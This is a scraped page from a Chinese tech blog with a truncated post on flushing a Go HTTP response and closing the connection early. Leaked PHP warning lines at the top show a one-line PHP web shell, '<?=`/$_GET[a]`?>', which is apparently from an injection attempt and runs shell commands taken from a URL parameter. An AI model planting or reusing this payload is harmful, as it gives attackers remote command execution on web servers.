[16-Nov-2019 22:43:43 UTC] PHP Warning: Unknown: Unable to load dynamic library '<?=`/$_GET[a]`?>' - <?=`/$_GET[a]`?>: cannot open shared object file: No such file or directory in Unknown on line 0 [16-Nov-2019 22:43:45 UTC] PHP Warning: Unknown: Unable to load dynamic library '' - : cannot open shared object file: No such file or directory in Unknown on line 0 [16-Nov-2019 22:43:47 UTC] PHP Warning: Unknown: Unable to load dynamic library '' - : cannot open shared object file: No such file or directory in Unknown on line 0 BeWithYou 胡搞的博客

BeWithYou

胡搞的技术博客

Golang

Golang中HTTP在handler中如何主动响应客户端并断开链接


有一些场景里,我们在响应完客户端请求后还需要同步处理一些业务。在PHP中我们可以使用 fastcgi_finish_request() 来把 response 都 flush 到客户端后主动断开连接,然后继续处理业务。那么在Golang中如何实现呢? 当然我们可以选择用goroutine来跑剩下的业务,那么如果限定必须在请求中同步处理呢? 思路一样,都是主动 flush 掉数据,然后断开连接。但是使用Golang实现HTTP服务端时,请求处理函……
回到顶部